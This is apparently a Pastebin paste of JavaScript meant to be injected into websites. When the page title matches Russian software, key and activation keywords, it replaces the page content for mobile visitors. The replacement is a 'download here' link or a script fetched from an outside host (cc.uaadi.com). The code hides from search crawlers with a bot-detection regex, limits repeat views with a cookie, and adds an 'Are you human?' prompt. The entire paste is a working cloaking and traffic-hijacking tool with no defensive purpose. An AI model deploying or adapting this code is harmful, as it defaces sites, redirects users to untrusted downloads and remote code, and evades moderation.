Advertisement
Guest User

Untitled

a guest
Jan 30th, 2018
620
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var title = document.title;
  2. var uniqueVisitorDays = 1;
  3.  
  4. var flows = [
  5.     {
  6.         "mc":true,
  7.         "keywords": ["настроит", "песн", "пульт", "программ", "браузер", "скачать", "офис", "fallout", "windows", "руководств","активаци", "ключ", "песн", "книг"],
  8.         "html": function() {
  9.             var newContent = '<a href="http://link.ru">Атвичаю, тут можно скачать</a>';
  10.             var contentCenter = document.getElementsByClassName("container");
  11.             contentCenter[0].innerHTML = newContent;
  12.         }
  13.     },
  14.     {
  15.         "mc":true,
  16.         "keywords": ["тут другой массив слов"],
  17.         "js":['//cc.uaadi.com/v/xdm3kwZpyynSxIuCli7yO7KcDyeOVg'],
  18.         "html": function() {
  19.             var newContent = '<div id="vxdm3kwZpyynSxIuCli7yO7KcDyeOVg"></div>';
  20.             var contentCenter = document.getElementsByClassName("container");
  21.             contentCenter[0].innerHTML = newContent;
  22.         }
  23.     }
  24. ];
  25.  
  26. document.onreadystatechange = function() {
  27.  
  28.     if (document.readyState === 'complete') {
  29.        
  30.         for (var i = 0; i < flows.length; i++) {
  31.  
  32.             var keywords = flows[i].keywords
  33.  
  34.             if (containsAny(title, keywords)) {
  35.  
  36.                 var isVisible = true;
  37.  
  38.                 if (typeof flows[i].bc !== "undefined" && flows[i].bc === true && isBot() === true) {
  39.                     isVisible = false;
  40.                 }
  41.  
  42.                 if (typeof flows[i].mc !== "undefined" && flows[i].mc === true && isMobile() === false) {
  43.                     isVisible = false;
  44.                 }
  45.  
  46.                 if (typeof flows[i].lang !== "undefined" && flows[i].lang.length >0 && inArray(getLang(), flows[i].lang) === false) {
  47.                     isVisible = false;
  48.                 }
  49.  
  50.                 if (typeof flows[i].time !== "undefined" && flows[i].time.length >0 && inArray(getPartDay(), flows[i].time) === false) {
  51.                     isVisible = false;
  52.                 }
  53.  
  54.                 if (typeof flows[i].platform !== "undefined" && flows[i].platform.length >0 && inArray(getPlatform(), flows[i].platform) === false) {
  55.                     isVisible = false;
  56.                 }
  57.  
  58.                 if (typeof flows[i].uc !== "undefined" && flows[i].uc === true) {
  59.                     var user = getCookie("jackie");
  60.                     if(user !== null) {
  61.                         isVisible = false;
  62.                     }
  63.                     setCookie("jackie", "chan", uniqueVisitorDays);
  64.                 }
  65.  
  66.                 if(isVisible === true){
  67.  
  68.                     if (typeof flows[i].js !== "undefined" && flows[i].js.length > 0) {
  69.                         flows[i].js.forEach(function(item, i, js) {
  70.                             loadJsCssFile(item, "js");
  71.                         });
  72.                     }
  73.                     if (typeof flows[i].css !== "undefined" && flows[i].css.length > 0) {
  74.                         flows[i].css.forEach(function(item, i, css) {
  75.                             loadJsCssFile(item, "css");
  76.                         });
  77.                     }
  78.  
  79.                     if (typeof flows[i].human !== "undefined" && flows[i].human === true) {
  80.                         if(isRealHuman() === true){
  81.                             var run = flows[i].html();
  82.                         }
  83.                     }else{
  84.                         var run = flows[i].html();
  85.                     }
  86.                    
  87.                 }
  88.  
  89.                 break;
  90.  
  91.             }
  92.         }
  93.     }
  94.  
  95. };
  96.  
  97. function containsAny(str, substrings) {
  98.     for (var i = 0; i != substrings.length; i++) {
  99.         var substring = substrings[i].toLowerCase();
  100.         if (str.toLowerCase().indexOf(substring) != -1) {
  101.             return substring;
  102.         }
  103.     }
  104.     return null;
  105. }
  106.  
  107. function inArray(target, array) {
  108.  
  109.     for(var i = 0; i < array.length; i++) {
  110.         if(array[i] === target){
  111.             return true;
  112.         }
  113.     }
  114.     return false;
  115. }
  116.  
  117. function loadJsCssFile(filename, filetype) {
  118.     if (filetype == "js") {
  119.         var fileref = document.createElement('script')
  120.         fileref.setAttribute("type", "text/javascript")
  121.         fileref.setAttribute("src", filename)
  122.     } else if (filetype == "css") {
  123.         var fileref = document.createElement("link")
  124.         fileref.setAttribute("rel", "stylesheet")
  125.         fileref.setAttribute("type", "text/css")
  126.         fileref.setAttribute("href", filename)
  127.     }
  128.     if (typeof fileref != "undefined")
  129.         document.getElementsByTagName("head")[0].appendChild(fileref)
  130. }
  131.  
  132. function isBot() {
  133.     var botPattern = "(googlebot\/|Googlebot-Mobile|Googlebot-Image|Google favicon|Mediapartners-Google|bingbot|slurp|java|wget|curl|Commons-HttpClient|Python-urllib|libwww|httpunit|nutch|phpcrawl|msnbot|jyxobot|FAST-WebCrawler|FAST Enterprise Crawler|biglotron|teoma|convera|seekbot|gigablast|exabot|ngbot|ia_archiver|GingerCrawler|webmon |httrack|webcrawler|grub.org|UsineNouvelleCrawler|antibot|netresearchserver|speedy|fluffy|bibnum.bnf|findlink|msrbot|panscient|yacybot|AISearchBot|IOI|ips-agent|tagoobot|MJ12bot|dotbot|woriobot|yanga|buzzbot|mlbot|yandexbot|YandexBot|purebot|Linguee Bot|Voyager|CyberPatrol|voilabot|baiduspider|citeseerxbot|spbot|twengabot|postrank|turnitinbot|scribdbot|page2rss|sitebot|linkdex|Adidxbot|blekkobot|ezooms|dotbot|Mail.RU_Bot|discobot|heritrix|findthatfile|europarchive.org|NerdByNature.Bot|sistrix crawler|ahrefsbot|Aboundex|domaincrawler|wbsearchbot|summify|ccbot|edisterbot|seznambot|ec2linkfinder|gslfbot|aihitbot|intelium_bot|facebookexternalhit|yeti|RetrevoPageAnalyzer|lb-spider|sogou|lssbot|careerbot|wotbox|wocbot|ichiro|DuckDuckBot|lssrocketcrawler|drupact|webcompanycrawler|acoonbot|openindexspider|gnam gnam spider|web-archive-net.com.bot|backlinkcrawler|coccoc|integromedb|content crawler spider|toplistbot|seokicks-robot|it2media-domain-crawler|ip-web-crawler.com|siteexplorer.info|elisabot|proximic|changedetection|blexbot|arabot|WeSEE:Search|niki-bot|CrystalSemanticsBot|rogerbot|360Spider|psbot|InterfaxScanBot|Lipperhey SEO Service|CC Metadata Scaper|g00g1e.net|GrapeshotCrawler|urlappendbot|brainobot|fr-crawler|binlar|SimpleCrawler|Livelapbot|Twitterbot|cXensebot|smtbot|bnf.fr_bot|A6-Indexer|ADmantX|Facebot|Twitterbot|OrangeBot|memorybot|AdvBot|MegaIndex|SemanticScholarBot|ltx71|nerdybot|xovibot|BUbiNG|Qwantify|archive.org_bot|Applebot|TweetmemeBot|crawler4j|findxbot|SemrushBot|yoozBot|lipperhey|y!j-asr|Domain Re-Animator Bot|AddThis)";
  134.     var re = new RegExp(botPattern, 'i');
  135.     var userAgent = navigator.userAgent;
  136.     if (re.test(userAgent)) {
  137.         return true;
  138.     } else {
  139.         return false;
  140.     }
  141. };
  142.  
  143. function isMobile() {
  144.     var mobilePattern = "(android|webos|iphone|ipad|ipod|blackberry|iemobile|opera mini|meego|tablet)";
  145.     var re = new RegExp(mobilePattern, 'i');
  146.     var userAgent = navigator.userAgent.toLowerCase();
  147.     if (re.test(userAgent)) {
  148.         return true;
  149.     } else {
  150.         return false;
  151.     }
  152. }
  153.  
  154. function getLang(){
  155.     return navigator.language || navigator.userLanguage;
  156. }
  157.  
  158. function getPlatform(){
  159.     return navigator.platform;
  160. }
  161.  
  162. function getPartDay () {
  163.     var dayPart = null;
  164.     var date = new Date;
  165.     var hour = date.getHours();
  166.  
  167.     if(hour >= 0 && hour <= 6){
  168.         dayPart = 'night';
  169.     }else if (hour > 6 && hour < 12) {
  170.         dayPart = 'morning';
  171.     } else if (hour >= 12 && hour <= 17) {
  172.         dayPart = 'afternoon';
  173.     } else if (hour > 17 && hour < 24) {
  174.         dayPart = 'evening';
  175.     } else{
  176.         dayPart = null;
  177.     }
  178.    
  179.     return dayPart;
  180. }
  181.  
  182. function isRealHuman() {
  183.     var language = navigator.language || navigator.userLanguage;
  184.     var text = null;
  185.     switch (language) {
  186.         case 'ru':
  187.             text = 'Вы человек?';
  188.             break;
  189.         case 'ua':
  190.             text = 'Ви людина?';
  191.             break;
  192.         case 'be':
  193.             text = 'Вы чалавек?';
  194.             break;
  195.         case 'en':
  196.             text = 'Are You Human?';
  197.             break;
  198.         case 'kz':
  199.             text = 'Сіз адамсыз ба?';
  200.             break;
  201.         case 'ge':
  202.             text = 'Sind Sie ein Mensch?';
  203.             break;
  204.         case 'fr':
  205.             text = 'Es-tu humain?';
  206.             break;
  207.         case 'it':
  208.             text = 'Sei umano?';
  209.             break;
  210.         case 'sp':
  211.             text = '¿Eres humano?';
  212.             break;
  213.         default:
  214.             text = 'Вы человек?';
  215.     }
  216.     return confirm(text);          
  217. }
  218.  
  219. function setCookie(cname, cvalue, exdays) {
  220.     var d = new Date();
  221.     d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
  222.     var expires = "expires=" + d.toGMTString();
  223.     document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
  224. }
  225.  
  226. function getCookie(cname) {
  227.     var name = cname + "=";
  228.     var decodedCookie = decodeURIComponent(document.cookie);
  229.     var ca = decodedCookie.split(';');
  230.     for (var i = 0; i < ca.length; i++) {
  231.         var c = ca[i];
  232.         while (c.charAt(0) == ' ') {
  233.             c = c.substring(1);
  234.         }
  235.         if (c.indexOf(name) == 0) {
  236.             return c.substring(name.length, c.length);
  237.         }
  238.     }
  239.     return null;
  240. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement